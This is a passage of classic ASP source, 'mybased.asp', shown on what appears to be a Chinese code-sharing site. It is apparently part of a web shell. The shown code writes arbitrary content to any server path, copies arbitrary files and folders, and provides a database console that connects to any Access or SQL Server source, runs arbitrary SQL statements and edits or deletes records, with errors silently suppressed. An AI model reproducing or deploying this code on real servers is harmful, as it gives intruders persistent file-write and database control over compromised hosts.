?? mybased.asp
字號(hào):
echo "</textarea></td>"
echo "</tr>"
echo "<tr>"
echo "<td class=trHead> </td>"
echo "</tr>"
echo "<tr>"
echo "<td class=td align=center><input type=button name=Submit value=保存 onClick=""if(confirm('確認(rèn)保存修改?')){this.form.theAct.value='save';this.form.submit();}"">"
echo "<input type=reset value=重置><input type=button onclick=window.close(); value=關(guān)閉>"
echo "<input type=button value=查看 title='在新窗口中打開該文件鏈接' onclick=preView('2');>"
echo "<input type=button value=預(yù)覽 onclick=preView('1'); title='以HTML方式在新窗口中預(yù)覽當(dāng)前代碼'></td>"
echo "</tr>"
echo "</form>"
echo "</table>"
Set theFile = Nothing
End Sub
Sub SaveToFile()
Dim theFile, strPath, fileContent
If isDebugMode = False Then On Error Resume Next
fileContent = GetPost("fileContent")
strPath = GetPost("truePath")
Set theFile = fso.OpenTextFile(strPath, 2, True)
theFile.Write fileContent
theFile.Close
ChkErr(Err)
Set theFile = Nothing
End Sub
Sub SaveAs()
Dim strPath, aryParam, isFile
If isDebugMode = False Then On Error Resume Next
aryParam = Split(GetPost("param"), ",")
aryParam(0) = aryParam(0)
aryParam(1) = aryParam(1)
isFile = fso.FileExists(aryParam(0))
If isFile = True Then
fso.CopyFile aryParam(0), aryParam(1), False
Else
fso.CopyFolder aryParam(0), aryParam(1), False
End If
ChkErr(Err)
End Sub
Sub PageDBTool()
ShowTitle("Access + SQL Server 數(shù)據(jù)庫操作")
echo "<form method=post action=""" & url & """>"
If theAct <> "" And theAct <> "Query" And theAct <> "ShowTables" Then
SqlShowEdit()
echo "</form>"
Response.End()
End If
ShowDBTool()
Select Case theAct
Case "Query"
ShowQuery()
Case "ShowTables"
ShowTables()
End Select
echo "</form>"
End Sub
Sub ShowDBTool()
echo "<table width=750>"
echo "<input type=hidden value=PageDBTool name=PageName>"
echo "<input type=hidden name=theAct>"
echo "<input type=hidden name=param>"
echo "<tr>"
echo "<td class=td><font face=webdings>8</font> Access + SQL Server 數(shù)據(jù)庫操作</td>"
echo "</tr>"
echo "<tr>"
echo "<td class=trHead> </td>"
echo "</tr>"
echo "<tr>"
echo "<td height=50 align=center>"
echo "<input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=60>"
echo "</td>"
echo "</tr>"
echo "<tr>"
echo "<td class=trHead> </td>"
echo "</tr>"
echo "<tr>"
echo "<td align=center class=td>"
echo "<input type=submit name=Submit value=提交 onclick=""this.form.theAct.value='ShowTables';"">"
echo "<input type=button value=MDB onclick=""this.form.thePath.value='DataSource;UserName;PassWord;';"">"
echo "<input type=button value=SQL onclick=""this.form.thePath.value='sql:Provider=SQLOLEDB.1;Server=(local);User ID=UserName;Password=PassWord;Database=Pubs;';"">"
echo "<input type=reset value=重置>"
echo "</td>"
echo "</tr>"
echo "</table>"
End Sub
Sub ShowTables()
Dim Cat, objTable, objColumn, intColSpan, objSchema
If isDebugMode = False Then On Error Resume Next
echo "<br/><table width=750>"
echo "<tr>"
echo "<td class=td colspan=2><font face=webdings>8</font> 數(shù)據(jù)表及結(jié)構(gòu)查看</td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
CreateConn()
Set Cat = Server.CreateObject("ADOX.Catalog")
Cat.ActiveConnection = conn.ConnectionString
echo "<tr><td width='20%' valign=top>"
For Each objTable In Cat.Tables
echo "<span class=fixSpan title='" & objTable.Name & "' onclick=""Command('Query',this.title);this.disabled=true;"" "
echo "style='width:94%;padding-left:8px;cursor:hand;'>" & objTable.Name & "</span>"
Next
echo "</td><td>"
intColSpan = IIf(isSqlServer = True, "4", "6")
For Each objTable In Cat.Tables
echo "<table width=98% align=center>"
echo "<tr>"
echo "<td class=trHead colspan=" & intColSpan & "> </td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=" & intColSpan & " class=td> <strong>"
echo objTable.Name & "</strong></td>"
echo "</tr>"
echo "<tr align=center>"
echo "<td align=left width=*> 列名</td>"
echo "<td width=80>類型</td>"
echo "<td width=60>大小</td>"
echo "<td width=60>可否為空</td>"
If isSqlServer = False Then
echo "<td width=50>默認(rèn)值</td>"
echo "<td width=100>描述</td>"
End If
echo "</tr>"
For Each objColumn In Cat.Tables(objTable.Name).Columns
echo "<tr align=center>"
echo "<td align=left><span style='width:98%;padding-left:5px;'>" & objColumn.Name & "</a></td>"
echo "<td>" & GetDataType(objColumn.Type) & "</td>"
If objColumn.DefinedSize <> 0 Then
echo "<td>" & objColumn.DefinedSize & "</td>"
Else
echo "<td>" & IIf(objColumn.Precision <> 0, objColumn.Precision, " ") & "</td>"
End If
echo "<td>" & IIf(objColumn.Attributes = 1, "False", "True") & "</td>"
If isSqlServer = False Then
echo "<td><span class=fixSpan style='width:40px;padding-left:5px;' title=""" & HtmlEncode(objColumn.Properties("Default").value) & """>"
echo HtmlEncode(objColumn.Properties("Default").value) & "</span></td>"
echo "<td align=left><span class=fixSpan style='width:95px;padding-left:5px;' title=""" & objColumn.Properties("Description") & """>"
echo objColumn.Properties("Description") & "</span></td>"
End If
echo "</tr>"
Next
echo "<tr>"
echo "<td colspan=" & intColSpan & " class=td> </td>"
echo "</tr>"
echo "</table><br/>"
Next
echo "</td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=td align=right> </td>"
echo "</tr>"
echo "</table>"
Set Cat = Nothing
DestoryConn()
End Sub
Sub ShowQuery()
Dim i, j, x, rs, sql, sqlB, sqlC, Cat, intPage, objTable, strParam, strTable, strPrimaryKey
If isDebugMode = False Then On Error Resume Next
sql = GetPost("sql")
strParam = GetPost("param")
strTable = GetPost("theTable")
Set rs = Server.CreateObject("Adodb.RecordSet")
If IsNumeric(strParam) = True Then
intPage = strParam
Else
intPage = 1
strTable = strParam
sql = ""
End If
If sql = "" Then
sql = "Select * From [" & strTable & "]"
End If
For i = 1 To Request.Form("KeyWord").Count
If Request.Form("KeyWord")(i) <> "" Then
sqlC = Replace(Request.Form("KeyWord")(i), "'", "''")
sqlC = IIf(Request.Form("JoinTag")(i) = " like ", "'" & sqlC & "'", sqlC)
sqlB = sqlB & "[" & Request.Form("Fields")(i) & "]" & Request.Form("JoinTag")(i) & sqlC & Request.Form("JoinTag2")(i)
End If
Next
If sqlB <> "" Then
sql = "Select * From [" & strTable & "] Where " & sqlB
If Right(sql, 4) = " Or " Then sql = Left(sql, Len(sql) - 4)
If Right(sql, 5) = " And " Then sql = Left(sql, Len(sql) - 5)
End If
echo "<input type=hidden name=sql value=""" & HtmlEncode(sql) & """>"
echo "<textarea name=sqlB rows=1 style='width:647px;'>" & HtmlEncode(sql) & "</textarea>"
echo " <input type=button value=執(zhí)行查詢 onclick=""this.form.sql.value=this.form.sqlB.value;Command('Query','1');"">"
echo "<input type=button value=- onclick='if(this.form.sqlB.rows>3)this.form.sqlB.rows-=3;'>"
echo "<input type=button value=+ onclick='this.form.sqlB.rows+=3;'>"
echo "<input type=hidden name=theTable value=""" & HtmlEncode(strTable) & """>"
echo "<br/><table width=750>"
echo "<tr>"
echo "<td class=td colspan=2><font face=webdings>8</font> SQL查詢器</td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
CreateConn()
Set Cat = Server.CreateObject("ADOX.Catalog")
Cat.ActiveConnection = conn.ConnectionString
echo "<tr><td width='20%' valign=top>"
For Each objTable In Cat.Tables
echo "<span class=fixSpan title='" & objTable.Name & "' onclick=""Command('Query',this.title);this.disabled=true;"" "
echo "style='width:94%;padding-left:8px;cursor:hand;'>"
If strTable = objTable.Name Then
echo "<u>" & objTable.Name & "</u>"
Else
echo objTable.Name
End If
echo "</span>"
Next
echo "</td><td valign=top>"
If LCase(Left(sql, 7)) = "select " Then
rs.Open sql, conn, 1, 1
chkErr(Err)
rs.PageSize = PageSize
If Not rs.Eof Then
rs.AbsolutePage = intPage
End If
echo "<div align=left><table border=1 width=490>"
echo "<tr>"
echo "<td height=22 class=trHead> </td>"
echo "</tr>"
echo "<tr>"
echo "<td height=22 class=td width=100> 查詢</td>"
echo "</tr><tr><td align=center>"
echo "<div><select name=Fields>"
For Each x In rs.Fields
echo "<option value=""" & x.Name & """>" & x.Name & "</option>"
Next
echo "</select>"
echo "<select name=JoinTag><option value=' like '>like</option><option value='='>=</option></select>"
echo "<input name=KeyWord style='width:200px;'>"
echo "<select name=JoinTag2><option value=' And '>And</option><option value=' Or '>Or</option></select> "
echo "<input type=button value=+ onclick=""this.parentElement.outerHTML+='<div>'+this.parentElement.innerHTML+'</div>';"">"
echo "<input type=button value=- onclick=""this.parentElement.outerHTML='';""></div> "
echo "<input type=button value=查詢 onclick=this.form.sql.value='';this.form.param.value='1';this.form.theAct.value='Query';this.form.submit();>"
echo "</td></tr>"
echo "<tr><td class=td> </td></tr>"
echo "</table></div><br/>"
If rs.Fields.Count > 0 Then
strPrimaryKey = GetPrimaryKey(strTable)
echo "<table border=1 align=left cellpadding=0 cellspacing=0>"
echo "<tr>"
echo "<td height=22 class=trHead colspan=" & rs.Fields.Count + 1 & "> </td>"
echo "</tr>"
echo "<tr>"
echo "<td height=22 class=td width=100 align=center>操作</td>"
For j = 0 To rs.Fields.Count - 1
echo "<td height=22 class=td width=130><span class=fixSpan title='" & rs.Fields(j).Name & "' style='width:125px;padding-left:5px;'>" & rs.Fields(j).Name & "</span></td>"
Next
For i = 1 To rs.PageSize
If rs.Eof Then Exit For
echo "</tr>"
echo "<tr valign=top>"
echo "<td height=22 align=center>"
If strPrimaryKey <> "" Then
echo "<input type=button value=編輯 title='編輯/添加' onclick=showSqlEdit('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');>"
echo "<input type=button value=刪除 onclick=sqlDelete('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');></td>"
Else
echo "<input type=button value=編輯 title='編輯/添加' onclick=alert('主鍵不存在,操作有可能導(dǎo)致重大數(shù)據(jù)庫災(zāi)難,并且該操作不可逆!');showSqlEdit('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');>"
echo "<input type=button value=刪除 onclick=alert('主鍵不存在,操作有可能導(dǎo)致重大數(shù)據(jù)庫災(zāi)難,并且該操作不可逆!');sqlDelete('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');></td>"
End If
For j = 0 To rs.Fields.Count - 1
echo "<td height=22><span class=fixSpan style='width:125px;padding-left:5px;'>" & HtmlEncode(IIf(Len(rs(j)) > 50, Left(rs(j), 50), rs(j))) & "</span></td>"
Next
echo "</tr>"
rs.MoveNext
Next
End If
echo "<tr>"
echo "<td height=22 class=td colspan=" & rs.Fields.Count + 1 & "> Page: "
For i = 1 To rs.PageCount
If i > maxPageCount Then
echo "..."
Exit For
End If
echo Replace("<a href=javascript:Command('Query','" & i & "');><font {$font" & i & "}>" & i & "</font></a> ", "{$font" & intPage & "}", " color=red")
Next
echo "</td></tr></table>"
rs.Close
Else
conn.Execute(sql)
ChkErr(Err)
echo "<script>alert('查詢執(zhí)行成功,按確定返回.\n刷新后可以看到執(zhí)行效果.');history.back();</script>"
Set rs = Nothing
Set Cat = Nothing
DestoryConn()
Exit Sub
End If
echo "</td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=td align=right> </td>"
echo "</tr>"
echo "</table>"
Set rs = Nothing
Set Cat = Nothing
DestoryConn()
End Sub
Sub SqlShowEdit()
Dim intFindI, intFindJ, intFindK, intFindL, intFindM, strJoinTag, multiTables
Dim i, x, rs, sql, strTable, strExtra, strParam, intI, strColumn, strValue, strPrimaryKey
If isDebugMode = False Then On Error Resume Next
sql = GetPost("sql")
strParam = GetPost("param")
strTable = GetPost("theTable")
intI = InStr(strParam, "!")
intFindI = InStr(LCase(sql), " where")
intFindJ = InStrRev(LCase(sql), "order ")
intFindK = IIf(LCase(Right(sql, 4)) = "desc", "1", "0")
strValue = Mid(strParam, intI + 1)
strColumn = Left(strParam, intI - 1)
strExtra = IIf(theAct = "next", ">", IIf(theAct = "pre", "<", ""))
If intFindJ > 0 Then sql = Left(sql, intFindJ - 1)
If intFindI > 0 Then
strJoinTag = ") And "
sql = Left(sql, intFindI + 5) & "(" & Mid(sql, intFindI + 6)
Else
strJoinTag = " Where "
End If
If intFindK > 0 Then strExtra = IIf(strExtra = ">", "<", IIf(strExtra = "<", ">", ""))
CreateConn()
strPrimaryKey = GetPrimaryKey(strTable)
Set rs = Server.CreateObject("Adodb.RecordSet")
If strExtra <> "" And IsNumeric(strValue) = True Then
sql = "Select Top 1" & Mid(sql, 7) & strJoinTag
sql = sql & strColumn & " " & strExtra & " " & strValue & " Order By " & strColumn & IIf(strExtra = "<", " Desc", " Asc")
Else
sql = sql & strJoinTag & strColumn & " like '" & Replace(strValue, "'", "''") & "'"
End If
intFindM = InStr(LCase(sql), "from")
intFindI = InStr(LCase(sql), " where")
intFindL = InStr(intFindM, LCase(sql), ",", 1)
If intFindL > 0 Then
If (intFindL > intFindM) And (intFindL < intFindI) Then
multiTables = True
End If
End If
If theAct <> "edit" Then
rs.Open sql, conn, 1, 3
ChkErr(Err)
If rs.Eof Then
echo "<script>alert('該記錄不存在!');history.back();</script>"
Response.End()
End If
If theAct = "new" Then rs.AddNew
If theAct = "del" Then
rs.Delete
rs.Update
AlertThenClose("刪除成功!")
Response.End
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號(hào)
Ctrl + =
減小字號(hào)
Ctrl + -